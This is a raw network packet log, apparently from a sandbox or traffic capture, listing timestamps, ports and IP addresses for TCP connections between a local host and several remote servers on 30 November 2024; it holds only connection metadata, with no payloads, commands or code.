Nov 30, 2024 09:44:05.751766920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.751806974 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.753448963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.753459930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.753500938 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.755160093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.755172014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.755179882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.755209923 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.755228996 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.792098045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.792172909 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.792454958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.792517900 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.793232918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.793282986 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.794006109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.794055939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.794799089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.794816017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.794850111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.794864893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.796340942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.796350956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.796386003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.796396971 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.797882080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.797893047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.797939062 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.799467087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.799477100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.799516916 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.801146030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.801157951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.801198959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.802525997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.802537918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.802575111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.804047108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.804059029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.804100037 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.805753946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.805766106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.805799007 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.805820942 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.807478905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.807491064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.807547092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:05.809137106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.809149981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:05.809190035 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:07.002152920 CET	49734	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:07.002197981 CET	443	49734	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:07.002258062 CET	49734	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:07.002419949 CET	49735	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:07.002453089 CET	443	49735	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:07.002501965 CET	49735	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:07.002995014 CET	49735	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:07.003007889 CET	443	49735	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:07.003165960 CET	49734	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:07.003181934 CET	443	49734	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:07.118906975 CET	49736	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:07.118935108 CET	443	49736	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:07.118999958 CET	49736	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:07.119249105 CET	49736	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:07.119261980 CET	443	49736	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:07.163253069 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:07.163280964 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:07.163345098 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:07.163553953 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:07.163568974 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.700073004 CET	443	49734	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.700372934 CET	49734	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.700386047 CET	443	49734	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.701702118 CET	443	49734	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.701782942 CET	49734	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.702821016 CET	49734	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.702879906 CET	443	49734	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.703111887 CET	49734	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.703119040 CET	443	49734	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.750076056 CET	49734	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.788331985 CET	443	49735	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.788600922 CET	49735	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.788616896 CET	443	49735	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.789473057 CET	443	49735	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.789530039 CET	49735	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.789808035 CET	49735	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.789859056 CET	443	49735	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.789949894 CET	49735	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.831341028 CET	443	49735	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.843805075 CET	49735	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.843811989 CET	443	49735	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.854053974 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.854274035 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.854294062 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.855353117 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.855418921 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.855709076 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.855773926 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.855833054 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.890667915 CET	49735	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.902659893 CET	443	49736	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.903168917 CET	49736	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.903184891 CET	443	49736	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.903331041 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.904038906 CET	443	49736	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.904103041 CET	49736	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.904345036 CET	49736	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.904400110 CET	443	49736	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.904454947 CET	49736	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.904459953 CET	443	49736	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.905805111 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.905812979 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.935210943 CET	49735	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.935270071 CET	443	49735	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:08.935321093 CET	49735	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.950505018 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:08.950988054 CET	49736	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.408987999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:09.411004066 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:09.648469925 CET	443	49734	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.649374008 CET	443	49734	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.649425030 CET	49734	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.650211096 CET	49734	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.650219917 CET	443	49734	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.736582041 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.736633062 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.736676931 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.736690044 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.739801884 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.739851952 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.739866018 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.744677067 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.744748116 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.744755983 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.764086962 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.764144897 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.764153004 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.774444103 CET	443	49736	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.774754047 CET	443	49736	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.774804115 CET	49736	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.774892092 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.774931908 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.774940014 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.775787115 CET	49736	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.775799990 CET	443	49736	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.828068018 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.828075886 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.856832027 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.856899977 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.856908083 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.906522036 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.921817064 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.930433989 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.930582047 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.930589914 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.942084074 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.942131042 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.942138910 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.957098961 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.957163095 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.957170010 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.970652103 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.970698118 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.970706940 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.984257936 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.984323978 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.984330893 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.996468067 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:09.996517897 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:09.996524096 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.011951923 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.012001038 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.012007952 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.024635077 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.024671078 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.024684906 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.024698019 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.024739027 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.037230968 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.049010038 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.049067020 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.049074888 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.062078953 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.062123060 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.062129974 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.107975006 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.108035088 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.108045101 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.122409105 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.122456074 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.122463942 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.129048109 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.129096031 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.129102945 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.140875101 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.141019106 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.141025066 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.152601004 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.152641058 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.152648926 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.164304972 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.164345980 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.164356947 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.166327000 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.166367054 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.166374922 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.177453995 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.177509069 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.177516937 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.188699961 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.188769102 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.188777924 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.199610949 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.199666977 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.199676991 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.208918095 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.208973885 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.208981991 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.217602968 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.217654943 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.217662096 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.226516962 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.226583004 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.226589918 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.236038923 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.236103058 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.236108065 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.245853901 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.245944023 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.245949984 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.254904985 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.254980087 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.254986048 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.264123917 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.264193058 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.264199018 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.272778034 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.272851944 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.272857904 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.280247927 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.280296087 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.280301094 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.289285898 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.289344072 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.289351940 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.297164917 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.297236919 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.297241926 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.308096886 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.308156967 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.308163881 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.311268091 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.311328888 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.311332941 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.316977978 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.317028999 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.317037106 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.322271109 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.322320938 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.322328091 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.327794075 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.327838898 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.327843904 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.333337069 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.333395958 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.333401918 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.338632107 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.338686943 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.338692904 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.343925953 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.343986988 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.343992949 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.349411011 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.349438906 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.349456072 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.349461079 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.349500895 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.354450941 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.360016108 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.360064030 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.360069990 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.360794067 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:10.360845089 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.363524914 CET	49737	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:10.363533974 CET	443	49737	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:11.376386881 CET	49745	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:11.376418114 CET	443	49745	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:11.376519918 CET	49745	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:11.376748085 CET	49745	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:11.376764059 CET	443	49745	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:11.868100882 CET	49746	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:11.868135929 CET	443	49746	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:11.868232965 CET	49746	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:11.869816065 CET	49746	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:11.869826078 CET	443	49746	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:12.888042927 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:12.888281107 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:13.007927895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:13.008192062 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:13.008291006 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:13.008447886 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:13.115583897 CET	443	49745	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:13.115873098 CET	49745	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:13.115895033 CET	443	49745	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:13.116225958 CET	443	49745	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:13.116744041 CET	49745	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:13.116810083 CET	443	49745	142.250.181.68	192.168.2.4
Nov 30, 2024 09:44:13.128290892 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:13.156326056 CET	49745	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:13.298428059 CET	443	49746	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:13.298530102 CET	49746	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:13.302834988 CET	49746	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:13.302840948 CET	443	49746	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:13.303049088 CET	443	49746	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:13.344315052 CET	49746	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:13.355432034 CET	49746	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:13.399338007 CET	443	49746	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:13.825289965 CET	443	49746	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:13.825340033 CET	443	49746	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:13.825423002 CET	49746	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:13.828615904 CET	49746	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:13.828627110 CET	443	49746	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:13.899250031 CET	49750	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:13.899269104 CET	443	49750	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:13.899566889 CET	49750	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:13.900022030 CET	49750	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:13.900034904 CET	443	49750	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:14.031969070 CET	49752	443	192.168.2.4	142.250.181.110
Nov 30, 2024 09:44:14.031989098 CET	443	49752	142.250.181.110	192.168.2.4
Nov 30, 2024 09:44:14.032042027 CET	49752	443	192.168.2.4	142.250.181.110
Nov 30, 2024 09:44:14.032227993 CET	49752	443	192.168.2.4	142.250.181.110
Nov 30, 2024 09:44:14.032239914 CET	443	49752	142.250.181.110	192.168.2.4
Nov 30, 2024 09:44:14.095299959 CET	49753	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:14.095323086 CET	443	49753	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:14.095439911 CET	49753	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:14.096616983 CET	49753	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:14.096628904 CET	443	49753	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:14.932411909 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:14.932472944 CET	49749	80	192.168.2.4	185.215.113.206
